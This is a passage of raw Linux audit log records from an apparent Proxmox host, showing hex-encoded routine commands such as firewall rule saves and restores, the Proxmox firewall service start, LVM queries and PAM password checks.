proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966004344,"@rawstring":"node=pve type=PATH msg=audit(1781966004.344:68015): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.975:61997): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966000054,"@rawstring":"node=pve type=PATH msg=audit(1781966000.054:68014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.970:61996): proctitle=697073657400726573746F7265"} {"@timestamp":1781966000054,"@rawstring":"node=pve type=PATH msg=audit(1781966000.054:68014): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.964:61995): proctitle=\"ip6tables-save\""} {"@timestamp":1781966000054,"@rawstring":"node=pve type=PATH msg=audit(1781966000.054:68013): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.958:61994): proctitle=\"iptables-save\""} {"@timestamp":1781966000054,"@rawstring":"node=pve type=PATH msg=audit(1781966000.054:68012): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.955:61993): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966000047,"@rawstring":"node=pve type=PATH msg=audit(1781966000.047:68011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.952:61992): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966000047,"@rawstring":"node=pve type=PATH msg=audit(1781966000.047:68011): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.951:61991): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966000047,"@rawstring":"node=pve type=PATH msg=audit(1781966000.047:68010): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.951:61990): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966000046,"@rawstring":"node=pve type=PATH msg=audit(1781966000.046:68009): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655947,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.947:61989): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965995239,"@rawstring":"node=pve type=PATH msg=audit(1781965995.239:68008): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.941:61988): proctitle=\"ip6tables-save\""} {"@timestamp":1781965995239,"@rawstring":"node=pve type=PATH msg=audit(1781965995.239:68008): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.934:61987): proctitle=\"iptables-save\""} {"@timestamp":1781965995234,"@rawstring":"node=pve type=PATH msg=audit(1781965995.234:68007): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.930:61986): proctitle=69707365740073617665"} {"@timestamp":1781965995234,"@rawstring":"node=pve type=PATH msg=audit(1781965995.234:68007): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.922:61985): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965995233,"@rawstring":"node=pve type=PATH msg=audit(1781965995.233:68006): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.915:61984): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965995233,"@rawstring":"node=pve type=PATH msg=audit(1781965995.233:68006): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.172:61983): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995233,"@rawstring":"node=pve type=PATH msg=audit(1781965995.233:68005): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.172:61982): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995224,"@rawstring":"node=pve type=PATH msg=audit(1781965995.224:68004): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.172:61981): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995224,"@rawstring":"node=pve type=PATH msg=audit(1781965995.224:68004): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.164:61980): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995224,"@rawstring":"node=pve type=PATH msg=audit(1781965995.224:68004): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.164:61979): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995215,"@rawstring":"node=pve type=PATH msg=audit(1781965995.215:68003): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.164:61978): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995215,"@rawstring":"node=pve type=PATH msg=audit(1781965995.215:68003): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964654463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964654.463:61977): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965995207,"@rawstring":"node=pve type=PATH msg=audit(1781965995.207:68002): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964654421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964654.421:61976): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965995207,"@rawstring":"node=pve type=PATH msg=audit(1781965995.207:68002): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964653007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964653.007:61974): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995199,"@rawstring":"node=pve type=PATH msg=audit(1781965995.199:68001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964653004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964653.004:61973): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995199,"@rawstring":"node=pve type=PATH msg=audit(1781965995.199:68001): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964652970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964652.970:61972): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995190,"@rawstring":"node=pve type=PATH msg=audit(1781965995.190:68000): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964652967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964652.967:61971): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995190,"@rawstring":"node=pve type=PATH msg=audit(1781965995.190:68000): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964650.157:61970): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995184,"@rawstring":"node=pve type=PATH msg=audit(1781965995.184:67998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964650.157:61969): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995184,"@rawstring":"node=pve type=PATH msg=audit(1781965995.184:67998): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964650.157:61968): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995178,"@rawstring":"node=pve type=PATH msg=audit(1781965995.178:67997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964650.149:61967): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995178,"@rawstring":"node=pve type=PATH msg=audit(1781965995.178:67997): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964650.149:61966): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995171,"@rawstring":"node=pve type=PATH msg=audit(1781965995.171:67996): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964650.149:61965): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965995171,"@rawstring":"node=pve type=PATH msg=audit(1781965995.171:67996): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.958:61963): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995166,"@rawstring":"node=pve type=PATH msg=audit(1781965995.166:67995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.955:61962): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995166,"@rawstring":"node=pve type=PATH msg=audit(1781965995.166:67995): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648917,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.917:61961): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995159,"@rawstring":"node=pve type=PATH msg=audit(1781965995.159:67994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.913:61960): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995159,"@rawstring":"node=pve type=PATH msg=audit(1781965995.159:67994): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.808:61958): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995153,"@rawstring":"node=pve type=PATH msg=audit(1781965995.153:67993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.806:61957): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995153,"@rawstring":"node=pve type=PATH msg=audit(1781965995.153:67993): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.762:61956): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995146,"@rawstring":"node=pve type=PATH msg=audit(1781965995.146:67992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648758,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964648.758:61955): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965995146,"@rawstring":"node=pve type=PATH msg=audit(1781965995.146:67992): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.904:61954): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965995136,"@rawstring":"node=pve type=PATH msg=audit(1781965995.136:67991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.902:61953): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965995136,"@rawstring":"node=pve type=PATH msg=audit(1781965995.136:67991): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.900:61952): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965995132,"@rawstring":"node=pve type=PATH msg=audit(1781965995.132:67990): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.900:61951): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965995132,"@rawstring":"node=pve type=PATH msg=audit(1781965995.132:67990): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.896:61950): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965995129,"@rawstring":"node=pve type=PATH msg=audit(1781965995.129:67989): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.890:61949): proctitle=\"ip6tables-save\""} {"@timestamp":1781965995129,"@rawstring":"node=pve type=PATH msg=audit(1781965995.129:67989): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.884:61948): proctitle=\"iptables-save\""} {"@timestamp":1781965995128,"@rawstring":"node=pve type=PATH msg=audit(1781965995.128:67988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.878:61947): proctitle=\"ip6tables-save\""} {"@timestamp":1781965995128,"@rawstring":"node=pve type=PATH msg=audit(1781965995.128:67988): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.872:61946): proctitle=\"iptables-save\""} {"@timestamp":1781965995128,"@rawstring":"node=pve type=PATH msg=audit(1781965995.128:67987): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.868:61945): proctitle=\"ebtables-restore\""} {"@timestamp":1781965995122,"@rawstring":"node=pve type=PATH msg=audit(1781965995.122:67986): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.866:61944): proctitle=\"ebtables-restore\""} {"@timestamp":1781965995122,"@rawstring":"node=pve type=PATH msg=audit(1781965995.122:67986): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.862:61943): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965995122,"@rawstring":"node=pve type=PATH msg=audit(1781965995.122:67986): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645857,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.857:61942): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965995115,"@rawstring":"node=pve type=PATH msg=audit(1781965995.115:67985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.852:61941): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965995115,"@rawstring":"node=pve type=PATH msg=audit(1781965995.115:67985): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.847:61940): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965995107,"@rawstring":"node=pve type=PATH msg=audit(1781965995.107:67984): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.842:61939): proctitle=697073657400726573746F7265"} {"@timestamp":1781965995107,"@rawstring":"node=pve type=PATH msg=audit(1781965995.107:67984): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.834:61938): proctitle=\"ip6tables-save\""} {"@timestamp":1781965995102,"@rawstring":"node=pve type=PATH msg=audit(1781965995.102:67983): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.828:61937): proctitle=\"iptables-save\""} {"@timestamp":1781965995102,"@rawstring":"node=pve type=PATH msg=audit(1781965995.102:67983): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964645.824:61936): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965995092,"@rawstring":"node=pve type=PATH msg=audit(1781965995.092:67982): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 